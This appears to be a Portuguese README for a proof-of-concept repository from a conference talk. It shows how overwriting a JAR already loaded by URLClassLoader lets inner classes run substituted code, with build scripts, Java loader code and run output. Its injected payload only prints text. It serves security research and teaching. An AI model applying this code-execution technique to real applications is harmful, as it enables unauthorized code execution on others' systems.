
Demonstração da troca de JAR do URLClassLoader mostrando a capacidade de substituir e explorar um JAR já carregado com classes internas.
O exemplo de código a seguir mostra a capacidade de fazer troca a quente de um arquivo JAR já carregado e obter execução de código abusando do fato de que classes internas ainda acessam o arquivo JAR quando invocadas, desde que o inode não mude.
Testado no MacOS com OpenJDK (e também explorado no editor Author da Apple usando o Transporter).
Demonstração da palestra de Frans Rosén intitulada "Story of a RCE on Apple through hot jar swapping", da NahamCon 2022 EU.
build-and-run.shExecute com:
./build-and-run.sh
Isso irá:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
O Bootstrapper carregará e executará a classe HelloWorld.Main usando URLClassLoader e solicitará que você execute o método hello da classe HelloWorld.Secondary, que também já foi carregada. Isso serve para controlar quando substituir o JAR que já foi carregado.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Agora você pode decidir se quer pressionar Enter sem substituir nenhum JAR; isso mostrará o fluxo de código correto de HelloWorld/Secondary.java:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shO exploit.sh irá:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
A parte da cópia ao sobrescrever HelloWorld.jar com exploit.jar é importante, porque se o inode mudar, o exploit não terá sucesso. Um comando mv gravará um novo inode, mas cp para um arquivo existente não. O mesmo aconteceu ao usar a extração ZIP; o inode do JAR já existente nunca mudou, permitindo que o exploit funcionasse.
Se quiser testar a troca de JAR a quente, execute o exploit.sh em uma janela diferente depois de executar, mas antes de pressionar Enter ao chamar build-and-run.sh:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Se agora você pressionar Enter no ./build-and-run.sh, deverá ver com sucesso o código substituído:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Mostrando que podemos abusar do fato de que classes internas/anônimas ainda são carregadas do arquivo JAR físico, mesmo que o URLClassLoader já tenha carregado o JAR antes de o substituirmos.
Este repositório de código tenta explicar que você consegue sobrescrever arquivos JAR já carregados para obter execução de código sob alguns pré-requisitos.
A ideia é que o JAR foi inicialmente carregado com URLClassLoader:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
E um método secundário também foi carregado na inicialização, mas nunca invocado:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Se o JAR for substituído enquanto o aplicativo está em execução, e a classe que foi carregada, mas nunca teve nenhum método invocado, também tiver classes internas, seremos capazes de fazer com que ela execute código diferente do novo JAR se a invocação ocorrer mais tarde:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Portanto, se esse método contiver uma classe interna (elas aparecem no JAR como $1.class) e substituirmos a classe interna por algo com o mesmo tamanho e taxa de compressão, conseguimos fazer a troca a quente do JAR e executar nosso próprio código.
A classe anônima do arquivo Exploit/HelloWorld/Secondary.java é compilada na classe interna Exploit/HelloWorld/Secondary$1.class, que tem o mesmo tamanho e taxa de compressão de quando HelloWorld/Secondary.java é compilado e compactado. Se o tamanho ou a taxa de compressão fossem diferentes, você obteria uma falha ao pressionar Enter no build-and-run.sh.
Então, se você alterasse Exploit/HelloWorld/Secondary.java para, por exemplo, (functionn em vez de function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
Onde o resultado da compressão é o mesmo, mas a taxa de compressão está errada:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
você veria:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
No OpenJDK, parece que se o tamanho original diferir, mas o tamanho da compressão for o mesmo, ainda funciona:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
O exploit.sh ainda dirá que há diferença, pois pode não funcionar em todas as versões.
Você também verá que, se alterar coisas em Exploit/HelloWorld/Secondary.java fora da classe interna, como:
System.out.println("\nEnd of run, goodbye");
para:
System.out.println("\nEnd of run, goodbya");
o que fará com que o Secondary.class tenha a mesma taxa de compressão e tamanho; ainda assim, não acionará o conteúdo substituído, pois a classe já está carregada pelo URLClassLoader, confirmando que isso afeta apenas classes internas (as nomeadas como $1.class no JAR), já que elas são carregadas do arquivo JAR quando usadas:
End of run, goodbye